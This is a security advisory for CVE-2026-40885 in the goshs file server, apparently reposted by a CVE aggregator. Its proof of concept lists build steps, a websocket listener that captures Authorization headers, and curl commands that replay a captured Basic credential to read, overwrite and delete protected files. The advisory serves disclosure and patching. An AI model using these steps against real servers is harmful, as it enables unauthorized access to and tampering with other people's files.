goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access
goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.
The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:
httpserver/server.go:72-85 only installs BasicAuthMiddleware() when a global username or password is configuredThe vulnerable request is logged before .goshs authorization is enforced:
httpserver/handler.go:277-279 calls emitCollabEvent() and logger.LogRequest() before the protected file is passed into ACL enforcementhttpserver/handler.go:291-309 performs folder-level .goshs authentication later in applyCustomAuth()The collaborator pipeline copies and broadcasts every request header:
httpserver/collaborator.go:22-46 flattens all request headers, including Authorization, into the websocket event and sends them to the hubws/hub.go:77-84 fans the event out live to all connected websocket clientsws/hub.go:116-122 replays up to 200 prior HTTP events to newly connected websocket clients via catchupThe frontend also makes the leak easier to understand by decoding authorization values:
assets/js/main.js:627-645 formats and decodes the Authorization header for display in the collaborator panelIn practice, a victim request such as:
```http
GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=
```
is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.
Manual verification commands used:
Terminal 1
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt
/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096
```
Terminal 2
```bash
node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE
```
Terminal 3
```bash
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'
```
Two terminal commands I ran during local validation:
```bash
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
```
Observed results from manual verification:
401very secretvery secretPUT returned 200?delete returned 200Authorization":"Basic YWRtaW46YWRtaW4="PoC Video 1:
https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752
Single-script verification:
```bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'
```
Observed script result:
Captured header: Basic YWRtaW46YWRtaW4=Anonymous GET status: 401Replayed-header GET body: very secretReplayed-header PUT status: 200Replayed-header delete status: 200[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtreePoC Video 2:
https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472
gosh_poc4 script content:
```bash
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'
BIN='/tmp/goshs_beta5_collab_leak'
PORT='18096'
WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
WS_LOG="$WORKDIR/ws.log"
GOSHS_PID=""
WATCH_PID=""
cleanup() {
if [[ -n "${WATCH_PID:-}" ]];
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVE-2026-40885 is recorded against 3 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com/patrickhener/goshs has other advisories on record. If you are patching this one, these are worth checking on the same host:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/patrickhener/goshs | — | — |
| github.com/patrickhener/goshs/v2 | — | — |
| goshs | — | — |
References
Similar Threats
Site Security Check
CVE-2026-40885 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.